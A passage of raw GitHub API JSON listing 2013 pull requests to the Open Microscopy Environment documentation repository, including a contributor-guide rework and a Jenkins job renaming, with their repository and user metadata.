ocumentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"1a5500adbd66f9c5c30b070bd5503b174478d02d","ref":"dev_4_4"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/228/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/228"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/228"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/228"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/228/comments"}},"title":"\"Contributing to OMERO\" developer doc rework (rebased onto develop)","state":"closed","number":228,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/228","head":{"user":{"type":"User","url":"https://api.github.com/users/joshmoore","received_events_url":"https://api.github.com/users/joshmoore/received_events","login":"joshmoore","events_url":"https://api.github.com/users/joshmoore/events{/privacy}","organizations_url":"https://api.github.com/users/joshmoore/orgs","avatar_url":"https://secure.gravatar.com/avatar/b9d1630a90131545c699075f73da092b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/joshmoore/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/joshmoore/gists{/gist_id}","gravatar_id":"b9d1630a90131545c699075f73da092b","followers_url":"https://api.github.com/users/joshmoore/followers","id":88113,"repos_url":"https://api.github.com/users/joshmoore/repos","subscriptions_url":"https://api.github.com/users/joshmoore/subscriptions","following_url":"https://api.github.com/users/joshmoore/following"},"label":"joshmoore:rebased/develop/contrib-section","repo":{"forks":0,"svn_url":"https://github.com/joshmoore/ome-documentation","merges_url":"https://api.github.com/repos/joshmoore/ome-documentation/merges","languages_url":"https://api.github.com/repos/joshmoore/ome-documentation/languages","assignees_url":"https://api.github.com/repos/joshmoore/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/joshmoore/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/joshmoore/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/joshmoore/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/joshmoore","received_events_url":"https://api.github.com/users/joshmoore/received_events","login":"joshmoore","events_url":"https://api.github.com/users/joshmoore/events{/privacy}","organizations_url":"https://api.github.com/users/joshmoore/orgs","avatar_url":"https://secure.gravatar.com/avatar/b9d1630a90131545c699075f73da092b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/joshmoore/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/joshmoore/gists{/gist_id}","gravatar_id":"b9d1630a90131545c699075f73da092b","followers_url":"https://api.github.com/users/joshmoore/followers","id":88113,"repos_url":"https://api.github.com/users/joshmoore/repos","subscriptions_url":"https://api.github.com/users/joshmoore/subscriptions","following_url":"https://api.github.com/users/joshmoore/following"},"open_issues":0,"updated_at":"2013-02-01T11:33:14Z","milestones_url":"https://api.github.com/repos/joshmoore/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/joshmoore/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/joshmoore/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/joshmoore/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/joshmoore/ome-documentation/events","notifications_url":"https://api.github.com/repos/joshmoore/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/joshmoore/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/joshmoore/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/joshmoore/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/joshmoore/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/joshmoore/ome-documentation/collaborators{/collaborator}","full_name":"joshmoore/ome-documentation","ssh_url":"git@github.com:joshmoore/ome-documentation.git","pulls_url":"https://api.github.com/repos/joshmoore/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/joshmoore/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/joshmoore/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/joshmoore/ome-documentation/subscription","teams_url":"https://api.github.com/repos/joshmoore/ome-documentation/teams","watchers":1,"created_at":"2012-03-01T09:53:37Z","git_url":"git://github.com/joshmoore/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/joshmoore/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/joshmoore/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/joshmoore/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/joshmoore/ome-documentation/keys{/key_id}","size":780,"compare_url":"https://api.github.com/repos/joshmoore/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/joshmoore/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/joshmoore/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/joshmoore/ome-documentation/hooks","fork":true,"html_url":"https://github.com/joshmoore/ome-documentation","clone_url":"https://github.com/joshmoore/ome-documentation.git","watchers_count":1,"git_refs_url":"https://api.github.com/repos/joshmoore/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/joshmoore/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/joshmoore/ome-documentation/issues/events{/number}","private":false,"id":3590779,"pushed_at":"2013-01-31T11:56:02Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/joshmoore/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/joshmoore/ome-documentation/forks"},"sha":"abe9ddd7585c52729d574c24f638c65b50cd354d","ref":"rebased/develop/contrib-section"},"assignee":null,"updated_at":"2013-01-25T08:02:32Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/228/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/228/commits","closed_at":"2013-01-25T08:02:32Z","user":{"type":"User","url":"https://api.github.com/users/joshmoore","received_events_url":"https://api.github.com/users/joshmoore/received_events","login":"joshmoore","events_url":"https://api.github.com/users/joshmoore/events{/privacy}","organizations_url":"https://api.github.com/users/joshmoore/orgs","avatar_url":"https://secure.gravatar.com/avatar/b9d1630a90131545c699075f73da092b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/joshmoore/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/joshmoore/gists{/gist_id}","gravatar_id":"b9d1630a90131545c699075f73da092b","followers_url":"https://api.github.com/users/joshmoore/followers","id":88113,"repos_url":"https://api.github.com/users/joshmoore/repos","subscriptions_url":"https://api.github.com/users/joshmoore/subscriptions","following_url":"https://api.github.com/users/joshmoore/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/228","merged_at":"2013-01-25T08:02:32Z","merge_commit_sha":"1234d0f831c2d19f713b8e30c14b904cace7b6d9","created_at":"2013-01-24T08:25:41Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/228/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/228.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/228","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"\n\nThis is the same as gh-222 but rebased onto develop.\n\n----\n\n\r\n * Rename files to follow abc-xyz.txt standard\r\n * Reduce the number of individual files\r\n * Improve the order of files for external developers\r\n * Improve the order of sections in some files\r\n * Drop UsingGitFlow\r\n\r\nLooking at developers/index.txt and developers/contributing.txt\r\nit's still not completely clear 1) that a developer should REALLY\r\nread the \"contributing\" section, nor 2) once they've opened up\r\ncontributing.txt which sections are highly important.\r\n\r\nNB: very little has been done in the way of optimizing the PDF\n\n ","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/228.diff","id":3816200,"base":{"user":null,"label":"openmicroscopy:develop","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"281ddcc74b87247095f05e494f70efd28ee87785","ref":"develop"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/226/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/226"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/226"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/226"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/226/comments"}},"title":"Jenkins stable renaming (rebased onto develop)","state":"closed","number":226,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/226","head":{"user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"label":"sbesson:rebased/develop/jenkins_stable_renaming","repo":{"forks":0,"svn_url":"https://github.com/sbesson/ome-documentation","merges_url":"https://api.github.com/repos/sbesson/ome-documentation/merges","languages_url":"https://api.github.com/repos/sbesson/ome-documentation/languages","assignees_url":"https://api.github.com/repos/sbesson/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/sbesson/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/sbesson/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/sbesson/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"open_issues":0,"updated_at":"2013-02-02T21:21:49Z","milestones_url":"https://api.github.com/repos/sbesson/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/sbesson/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/sbesson/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/sbesson/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/sbesson/ome-documentation/events","notifications_url":"https://api.github.com/repos/sbesson/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/sbesson/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/sbesson/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/sbesson/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/sbesson/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/sbesson/ome-documentation/collaborators{/collaborator}","full_name":"sbesson/ome-documentation","ssh_url":"git@github.com:sbesson/ome-documentation.git","pulls_url":"https://api.github.com/repos/sbesson/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/sbesson/ome-documentation/subscription","teams_url":"https://api.github.com/repos/sbesson/ome-documentation/teams","watchers":1,"created_at":"2012-08-22T08:57:59Z","git_url":"git://github.com/sbesson/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/sbesson/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/sbesson/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/sbesson/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/sbesson/ome-documentation/keys{/key_id}","size":608,"compare_url":"https://api.github.com/repos/sbesson/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/sbesson/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/sbesson/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/sbesson/ome-documentation/hooks","fork":true,"html_url":"https://github.com/sbesson/ome-documentation","master_branch":"dev_4_4","clone_url":"https://github.com/sbesson/ome-documentation.git","watchers_count":1,"git_refs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/sbesson/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/events{/number}","private":false,"id":5507021,"default_branch":"dev_4_4","pushed_at":"2013-02-01T15:04:17Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/sbesson/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/sbesson/ome-documentation/forks"},"sha":"fbd464819ba9647fe0254d17c7486ff9f6846831","ref":"rebased/develop/jenkins_stable_renaming"},"assignee":null,"updated_at":"2013-01-24T11:30:27Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/226/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/226/commits","closed_at":"2013-01-24T11:30:27Z","user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/226","merged_at":"2013-01-24T11:30:26Z","merge_commit_sha":"52db421dde8528dc7396473c98d351e0b0175951","created_at":"2013-01-23T21:11:40Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/226/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/226.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/226","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"\n\nThis is the same as gh-225 but rebased onto develop.\n\n----\n\n\n\n ","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/226.diff","id":3808825,"base":{"user":null,"label":"openmicroscopy:develop","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"1ee47d5123ed947f97d6dce8385883e45549e4f0","ref":"develop"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/225/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/225"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/225"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/225"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/225/comments"}},"title":"Jenkins stable renaming","state":"closed","number":225,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/225","head":{"user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"label":"sbesson:jenkins_stable_renaming","repo":{"forks":0,"svn_url":"https://github.com/sbesson/ome-documentation","merges_url":"https://api.github.com/repos/sbesson/ome-documentation/merges","languages_url":"https://api.github.com/repos/sbesson/ome-documentation/languages","assignees_url":"https://api.github.com/repos/sbesson/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/sbesson/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/sbesson/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/sbesson/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api